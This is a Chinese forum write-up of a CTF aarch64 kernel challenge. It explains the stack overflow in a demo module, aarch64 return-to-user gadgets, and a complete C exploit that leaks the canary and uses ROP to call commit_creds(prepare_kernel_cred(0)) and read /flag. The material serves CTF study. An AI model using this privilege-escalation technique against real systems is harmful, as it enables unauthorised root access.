查看原文
其他

2022 CTF babyarm 内核题目详细分析

gxh1911 看雪学苑 2022-07-01


本文为看雪论坛优秀文章
看雪论坛作者ID:gxh1911




概述


一道不常见的 aarch64 kernel pwn,这题很简单就简单栈溢出,msr 返回用户态 orw 即可。
 
但就是返回用户态的机制不太好了解,然后流程控制也跟常规的 x86 那种有很大区别。



代码审计


device_read 函数:

device_write 函数:

存在栈溢出漏洞


一下代码就可以知道,红色框框中的东西一定会进,read 用来 leak,write 用来 rop。
 
其实不怎么审代码,下好断点调试也可以知道进入哪里,vmlinux 从镜像中拉出来地址全是乱的。
 
gadgets 可以通过调试去找,直接在 gdb 里面找,还好这题 rop 不复杂,不然痛苦死了。但这个方法也不好,后面发现这个 aarch64 的 Image 文件可以直接 ida,但是只有偏移地址,但没关系。这题没开 kaslr,直接查内核基址再加上偏移就可以了。
# 查程序基址 各个节grep demo /proc/modulesgrep "0x" /sys/module/demo/sections/.* # 查 vmlinux 符号grep prepare_kernel_cred /proc/kallsymsgrep commit_creds /proc/kallsymsgrep _text /proc/kallsyms # vmlinux 内核基址

然后说说 aarch64 的一些简单的汇编指令和知识。

寻址格式,# 代表立即数
[sp, #0x10] // 从 sp+0x10 的地方取值[sp, #0x10]! // 从 sp+0x10 的地方取值,取完值后 sp+0x10[sp], #0x10 // 从 sp 的地方取值,取完值后 sp+0x10

寄存器
 
在 aarch64 汇编中寄存器是 64 位的,使用 X[n] 表示,低32 位以 W[n] 表示。
 
在 64 位架构中有 31 个 64 位的通用寄存器,使用如下指令在 pwndbg 中查看:
pwndbg> i regx0 0x0 0x1 0x0 0x2 0x8 8x3 0x20 32x4 0xffffffffffffffe0 -32x5 0x40 64x6 0x3f 63x7 0x0 0x8 0xffff000002eaebe8 -281474927760408x9 0x0 0x10 0x0 0x11 0x0 0x12 0x438614 4425236x13 0x60001000 1610616832x14 0x1200011 18874385x15 0xdc 220x16 0x0 0x17 0x0 0x18 0xcfab 53163x19 0xffff000002ead100 -281474927767296x20 0xffff80000a2b3da0 -140737317749344x21 0x1200000 18874368x22 0x0 0x23 0xffff80000a2b8000 -140737317732352x24 0xffff80000a2bbeb0 -140737317716304x25 0x0 0x26 0xffff000002eae480 -281474927762304x27 0xffff80000a0417e0 -140737320314912x28 0xffff000002eade80 -281474927763840x29 0xffff80000a2b3bc0 -140737317749824x30 0xffff800008016950 -140737354045104sp 0xffff80000a2b3bc0 0xffff80000a2b3bc0pc 0xffff800008016958 0xffff800008016958cpsr 0x5 5fpsr 0x0 0fpcr 0x0 0MVFR6_EL1_RESERVED 0x0 0MVFR7_EL1_RESERVED 0x0 0MAIR_EL3 0x0 0ID_AA64PFR1_EL1 0x1 1ID_AA64PFR2_EL1_RESERVED 0x0 0ID_AA64PFR3_EL1_RESERVED 0x0 0SCTLR 0x200002034f4d91d 144115326403270941ID_AA64ZFR0_EL1 0x0 0CNTKCTL 0xc6 198DACR32_EL2 0x0 0ID_AA64PFR5_EL1_RESERVED 0x0 0ACTLR_EL1 0x0 0CPACR 0x300000 3145728ID_AA64PFR6_EL1_RESERVED 0x0 0FPEXC32_EL2 0x0 0ID_AA64PFR7_EL1_RESERVED 0x0 0ID_AA64DFR0_EL1 0x10305106 271601926ID_AA64DFR1_EL1 0x0 0ID_AA64DFR2_EL1_RESERVED 0x0 0ID_AA64DFR3_EL1_RESERVED 0x0 0ID_AA64AFR0_EL1 0x0 0ID_AA64AFR1_EL1 0x0 0ID_AA64AFR2_EL1_RESERVED 0x0 0CNTFRQ_EL0 0x3b9aca0 62500000ID_AA64AFR3_EL1_RESERVED 0x0 0SPSR_EL1 0x60001000 1610616832ID_AA64ISAR0_EL1 0x1021111110212120 1162228943821021472DBGBVR 0x0 0ELR_EL1 0x438614 4425236ID_AA64ISAR1_EL1 0x11101011010 1172542918672PMEVTYPER0_EL0 0x0 0DBGBCR 0x0 0ID_AA64ISAR2_EL1_RESERVED 0x0 0PMEVTYPER1_EL0 0x0 0DBGWVR 0x0 0ID_AA64ISAR3_EL1_RESERVED 0x0 0ZCR_EL1 0x0 0DBGWCR 0x0 0RVBAR_EL1 0x0 0ID_AA64ISAR4_EL1_RESERVED 0x0 0PMEVTYPER2_EL0 0x0 0PMEVTYPER3_EL0 0x0 0MDCCSR_EL0 0x1000 4096ID_AA64ISAR5_EL1_RESERVED 0x0 0ID_AA64ISAR6_EL1_RESERVED 0x0 0ID_AA64ISAR7_EL1_RESERVED 0x0 0SP_EL0 0xffff000002ead100 -281474927767296ID_AA64MMFR0_EL1 0x1124 4388DBGBVR 0x0 0ID_AA64MMFR1_EL1 0x11000 69632DBGBCR 0x0 0ID_AA64MMFR2_EL1_RESERVED 0x0 0PMINTENSET_EL1 0x0 0DBGWVR 0x0 0ID_AA64MMFR3_EL1_RESERVED 0x0 0PMINTENCLR_EL1 0x0 0DBGWCR 0x0 0ID_AA64MMFR4_EL1_RESERVED 0x0 0PMCNTENSET_EL0 0x0 0ACTLR_EL2 0x0 0PMCR_EL0 0x2000 8192ID_AA64MMFR5_EL1_RESERVED 0x0 0PMCNTENCLR_EL0 0x0 0VBAR 0xffff800008010800 -140737354070016ID_AA64MMFR6_EL1_RESERVED 0x0 0PMOVSCLR_EL0 0x0 0MDSCR_EL1 0x1000 4096ID_AA64MMFR7_EL1_RESERVED 0x0 0CNTP_CTL_EL0 0x0 0PMSELR_EL0 0x0 0CNTP_CVAL_EL0 0x0 0DBGBVR 0x0 0DBGBCR 0x0 0PMCEID1_EL0 0x0 0PMCEID0_EL0 0x20001 131073DBGWVR 0x0 0PMCCNTR_EL0 0x0 0DBGWCR 0x0 0L2ACTLR 0x0 0TTBR0_EL1 0x42eca000 1122803712TTBR1_EL1 0x280000418b0000 11259000168054784CNTV_CTL_EL0 0x1 1TCR_EL1 0x400034b5503510 18014624889713936DBGBVR 0x0 0DBGBCR 0x0 0ACTLR_EL3 0x0 0CNTV_CVAL_EL0 0x2aff26ff 721364735DBGWVR 0x0 0ZCR_EL2 0x0 0PMUSERENR_EL0 0x0 0DBGWCR 0x0 0PMOVSSET_EL0 0x0 0APIAKEYLO_EL1 0x0 0APIAKEYHI_EL1 0x0 0SP_EL1 0xffff80000a2b4000 -140737317748736MDRAR_EL1 0x0 0APIBKEYLO_EL1 0x0 0PMCCFILTR_EL0 0x0 0DBGBVR 0x0 0APIBKEYHI_EL1 0x0 0DBGBCR 0x0 0CPUACTLR_EL1 0x0 0CPUECTLR_EL1 0x0 0CONTEXTIDR_EL1 0x0 0APDAKEYLO_EL1 0x0 0APDAKEYHI_EL1 0x0 0CNTPS_CTL_EL1 0x0 0CPUMERRSR_EL1 0x0 0CNTPS_CVAL_EL1 0x0 0L2MERRSR_EL1 0x0 0DBGBVR 0x0 0APDBKEYLO_EL1 0x0 0MAIR_EL1 0x40044ffff 17184391167APDBKEYHI_EL1 0x0 0DBGBCR 0x0 0TPIDR_EL1 0xffff80000673f000 -140737380093952AFSR0_EL1 0x0 0OSLSR_EL1 0x8 8AFSR1_EL1 0x0 0PAR_EL1 0x0 0CBAR_EL1 0x8000000 134217728APGAKEYLO_EL1 0x0 0APGAKEYHI_EL1 0x0 0SPSR_IRQ 0x0 0MDCR_EL3 0x0 0SPSR_ABT 0x0 0AMAIR0 0x0 0FPCR 0x0 0SPSR_UND 0x0 0SPSR_FIQ 0x0 0FPSR 0x0 0ESR_EL1 0x56000000 1442840576CLIDR 0xa200023 169869347REVIDR_EL1 0x0 0ID_PFR0 0x131 305ID_DFR0 0x3010066 50397286ID_AFR0 0x0 0ID_MMFR0 0x10101105 269488389CSSELR 0x0 0LORSA_EL1 0x0 0ID_MMFR1 0x40000000 1073741824AIDR 0x0 0TPIDR_EL0 0x11439700 289642240LOREA_EL1 0x0 0ID_MMFR2 0x1260000 19267584TPIDRRO_EL0 0x0 0LORN_EL1 0x0 0ID_MMFR3 0x2102211 34611729IFSR32_EL2 0x0 0LORC_EL1 0x0 0ID_ISAR0 0x2101110 34607376ID_ISAR1 0x13112111 319889681PMEVCNTR0_EL0 0x0 0ID_ISAR2 0x21232042 555950146PMEVCNTR1_EL0 0x0 0ID_ISAR3 0x1112131 17899825CTR_EL0 0x8444c004 2219098116LORID_EL1 0x0 0PMEVCNTR2_EL0 0x0 0ID_ISAR4 0x11142 69954PMEVCNTR3_EL0 0x0 0ID_ISAR5 0x11011121 285282593ID_MMFR4 0x0 0ID_ISAR6 0x11111 69905L2CTLR_EL1 0x0 0MVFR0_EL1 0x10110222 269550114L2ECTLR_EL1 0x0 0FAR_EL1 0xffffce1148b0 281474138982576MVFR1_EL1 0x12111111 303108369MVFR2_EL1 0x43 67MVFR3_EL1_RESERVED 0x0 0MVFR4_EL1_RESERVED 0x0 0MVFR5_EL1_RESERVED 0x0 0

 
x0~x7:一般是函数的参数,大于8个的会通过堆栈传参
 
x0 还用作返回值
 
X9-X15:调用者保存的临时寄存器
 
X19-X29:被调用者保存的寄存器
  • 特殊用途寄存器:

    • X8:是间接结果寄存器,用于保存子程序返回地址

    • X16 和 X17:程序内调用临时寄存器

    • X18:平台寄存器

    • X29:帧指针寄存器(FP),类似 rsp

    • X30:链接寄存器(LR),一般存的是返回地址

    • X31:堆栈指针寄存器 SP 或零寄存器 ZXR


关于 aarch64 架构下的开辟栈帧:
x86 下一般是 push、pop 指令,而 aarch 64 下就是 LDP、STP 指令
 
例如:
STP X29, X30, [SP,#var_40]!...LDP X21, X22, [SP,#0x40+var_20]LDP X29, X30, [SP+0x40+var_40],#0x40RET

  • STP 从 [SP,#var_40] 中取出值(两个八字节),放入 x29、x30

  • LDP 从 [SP,#0x40+var_20] 中取出值,同上。。。

  • LDP 从 [SP+0x40+var_40] 中取出值(两个八字节),放入 x29、x30,然后 sp + 0x40


关于返回用户态

使用 gdb 单步调试可以找到如下 gadgets,也就是利用 msr 指令进行寄存器的恢复。
// ret2_usr_mode ► 0xffff800008011fe4: msr sp_el0, x23......0xffff800008012024 msr elr_el1, x210xffff800008012028 msr spsr_el1, x220xffff80000801202c ldp x0, x1, [sp]0xffff800008012030 ldp x2, x3, [sp, #0x10]0xffff800008012034 ldp x4, x5, [sp, #0x20]0xffff800008012038 ldp x6, x7, [sp, #0x30]0xffff80000801203c ldp x8, x9, [sp, #0x40]0xffff800008012040 ldp x10, x11, [sp, #0x50]0xffff800008012044 ldp x12, x13, [sp, #0x60]0xffff800008012048 ldp x14, x15, [sp, #0x70]0xffff80000801204c ldp x16, x17, [sp, #0x80]

  • sp_el0:保存用户态的栈指针

  • elr_el1:保存要返回的用户态PC指针(一般写成 system即可)

  • spsr_el1:固定值 0x80001000


msr 指令会分别将 x21、x22、x23 的值还原给上面三个重要寄存器,所以伪造这三个值即可返回用户态。




利用


先改一下 init 文件:
#!/bin/sh
mount -t devtmpfs none /devmount -t proc none /procmount -t sysfs none /sys insmod /home/pwn/demo.kochown -R 1000:1000 /home/pwn echo 1 > /proc/sys/kernel/dmesg_restrictecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/perf_event_paranoidecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" # cd /home/pwn# setsid cttyhack setuidgid 1000 sh# setsid cttyhack setuidgid 0 sh setsid /bin/cttyhack setuidgid 1000 /bin/sh# setsid /bin/cttyhack setuidgid 0 /bin/sh umount /proc poweroff -f

注释掉 cd /home/pwn,是为了运行 exp 更方便,不然还得 cd 一下才能运行 exp。
 
这两条指令
echo 1 > /proc/sys/kernel/dmesg_restrictecho 1 > /proc/sys/kernel/kptr_restrict

这使得普通用户无法查看 dmesg 和 kallsyms 中的值(kallsyms 中显示会全部为 0)。
 
主要影响的是查看与 moudle 相关的调试信息,也就是在 /sys/moudle/core/section 查看地址会受到限制。
 
还有就是会造成无法直接通过 /proc/kallsyms 来进行 leak kernel 基址,所以直接设置了 root 权限,方便本地调试,root 可以直接查看地址。
 
改动如下:
# cd /home/pwn# setsid cttyhack setuidgid 1000 sh# setsid cttyhack setuidgid 0 sh setsid /bin/cttyhack setuidgid 1000 /bin/sh# setsid /bin/cttyhack setuidgid 0 /bin/sh

启动脚本:
#!/bin/bash
# 编译 exp~/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc exp.c -static -o rootfs/exp # rootfs 打包pushd rootfsfind . | cpio -o --format=newc > ../initramfs.cpiopopdgzip initramfs.cpio # 启动 gdbgnome-terminal -e 'gdb-multiarch -x mygdbinit' # 启动 qemu# timeout --foreground 60 cnmdqemu-system-aarch64 \ -m 256M \ -machine virt \ -cpu max \ -kernel ./Image \ -append "console=ttyAMA0 loglevel=3 oops=panic panic=1" \ -initrd ./initramfs.cpio.gz \ -monitor /dev/null \ -smp cores=1,threads=1 \ -nographic \ -s

我把下面这条注释了,不然调试一段时间会自动退出:
timeout --foreground 60 cnmd

编译的话,先要装个工具链:
https://releases.linaro.org/components/toolchain/binaries/latest-7/aarch64-linux-gnu/
 
这个网站下载压缩包即可。
 
交叉编译 aarch64
~/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc exp.c -static -o rootfs/exp

或者是直接装交叉编译环境
sudo apt-get install emdebian-archive-keyringsudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-crosssudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnusudo apt-get install g++-8-aarch64-linux-gnu aarch64-linux-gnu-gcc-8 -static exp.c -o rootfs/exp

利用思路:
  • read 函数 leak canary

  • write 函数 写入 rop

    • 先是内核空间执行 commit_creds(prepare_kernel_cred(0) 提权

    • 然后返回用户态使用 orw 读取 flag(system 好像不行)


根据 aarch64 的特点,我们需要控制 x30(返回地址),x0(第一个参数),然后 ret 即可,ret 不会改变 sp,这跟 x86 也是不一样的。
 
我用到的三个 gadgets
.text:0000000000014F50 MOV W0, #0.text:0000000000014F54 LDP X19, X20, [SP,#var_s10].text:0000000000014F58 LDP X21, X22, [SP,#var_s20].text:0000000000014F5C LDP X29, X30, [SP+var_s0],#0x30.text:0000000000014F60 RET .text:0000000000016958 LDP X21, X22, [SP,#0x50+var_30].text:000000000001695C LDP X23, X24, [SP,#0x50+var_20].text:0000000000016960 LDR X25, [SP,#0x50+var_10].text:0000000000016964 LDP X29, X30, [SP+0x50+var_50],#0x50.text:0000000000016968 RET // ret2_usr_mode► 0xffff800008011fe4: msr sp_el0, x23......0xffff800008012024 msr elr_el1, x210xffff800008012028 msr spsr_el1, x220xffff80000801202c ldp x0, x1, [sp]0xffff800008012030 ldp x2, x3, [sp, #0x10]0xffff800008012034 ldp x4, x5, [sp, #0x20]0xffff800008012038 ldp x6, x7, [sp, #0x30]0xffff80000801203c ldp x8, x9, [sp, #0x40]0xffff800008012040 ldp x10, x11, [sp, #0x50]0xffff800008012044 ldp x12, x13, [sp, #0x60]0xffff800008012048 ldp x14, x15, [sp, #0x70]0xffff80000801204c ldp x16, x17, [sp, #0x80]

因为 x0 寄存器用作第一个参数,所以找了个有 MOV W0, #0 的 gadgets,w0 只是 X0的 低三十二位,因为高三十二位本来就是 0。
 
然后 commit_creds 和 prepare_kernel_cred 的地址都加了四,为了跳过 stp 指令对 x30 寄存器的修改,也就是下面这条。
STP X29, X30, [SP,#-0x20+var_s0]!

这样才方便我们伪造 x30 方便后续 rop 的利用。
 
构造 rop 的时候,要注意 sp 的变化,建议是多写一些 0xaaaaaaaaaaaaaaaa 这样的数据进去,方便调试,调试完再做替换即可,还有就是可以直接写 0xaaaaaaaa...0xbbbbbb...,这样的东西,写多一些。

然后看错误回显,看看执行了哪个地址,比如错误回显提示 call:0xaaaaaaaaaaaaaaaa,那就可以将 0xaaaaaaaaaaaaaaaa 替换为我们要执行的地址,这样很快很方便。

exp
#include <stdio.h>#include <string.h>#include <fcntl.h> //open#include <stdlib.h> //size_t#include <sys/stat.h>#include <fcntl.h> #define prepare_kernel_cred_addr 0xffff8000080a24f8#define commit_creds_addr 0xffff8000080a2258#define vmlinux_base_addr 0xffff800008000000#define elf_base 0xffff800000e40000#define ret2_user_mode 0xffff800008011fe4 void get_shell() { printf("[+] got shell, welcome %s\n", (getuid() ? "user" : "root")); // system("/bin/sh"); char buf[0x50] = {0}; int fd = open("/flag",0); read(fd, buf, 0x50); write(1, buf, 0x50);} int main() { int fd = open("/proc/demo", O_RDWR); size_t mem[0x200]; memset(mem, '\x00', sizeof(mem)); read(fd, mem, 128+8); size_t canary = mem[16]; printf("[+] canary = %p\n", canary); // write memset(mem, '\x00', sizeof(mem)); memset(mem, 'a', 0x80); mem[16] = canary; mem[17] = 0xaaaaaaaaaaaaaaaa; // mem[18] = 0xbbbbbbbbbbbbbbbb; mem[18] = vmlinux_base_addr+0x14F50; mem[19] = 0xcccccccccccccccc; mem[20] = 0xdddddddddddddddd; mem[21] = 0xeeeeeeeeeeeeeeee; // mem[22] = 0xffffffffffffffff; mem[22] = prepare_kernel_cred_addr+4; // mem[23] = commit_creds_addr+4; mem[23] = 0xaaaaaaaaaaaaaaaa; mem[24] = 0xccccccccdddddddd; mem[25] = 0xeeeeeeeeffffffff; mem[26] = 0xaaaaaaaabbbbbbbb; mem[27] = 0xccccccccdddddddd; // mem[28] = vmlinux_base_addr+0x14F5C; mem[28] = commit_creds_addr+4; // mem[29] = 0xaaaaaaaaaaaaaaaa; // mem[30] = 0xbbbbbbbbbbbbbbbb; mem[31] = 0xcccccccccccccccc; mem[32] = vmlinux_base_addr+0x16958; mem[33] = 0xaaaaaaaaaaaaaaaa; mem[34] = 0xbbbbbbbbbbbbbbbb; mem[35] = 0xcccccccccccccccc; mem[35] = 0xdddddddddddddddd; mem[36] = 0xccccccccdddddddd; mem[37] = 0xeeeeeeeeffffffff; mem[38] = ret2_user_mode; mem[39] = 0xccccccccdddddddd; mem[40] = 0xaaaaaaaabbbbbbbb; mem[41] = (size_t)get_shell; mem[42] = 0x80001000; mem[43] = (size_t)mem; write(fd,mem,0x200); close(fd);}




看雪ID:gxh1911

https://bbs.pediy.com/user-home-933934.htm

*本文由看雪论坛 gxh1911 原创,转载请注明来自看雪社区

# 往期推荐

1.记一次新型变种QakBot木马分析

2.Windows API调用详解

3.多项式MBA原理及其在代码混淆中的应用

4.逆向角度看C++部分特性

5.CVE-2014-4113提权漏洞学习笔记

6.Go语言模糊测试工具:Go-Fuzz






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存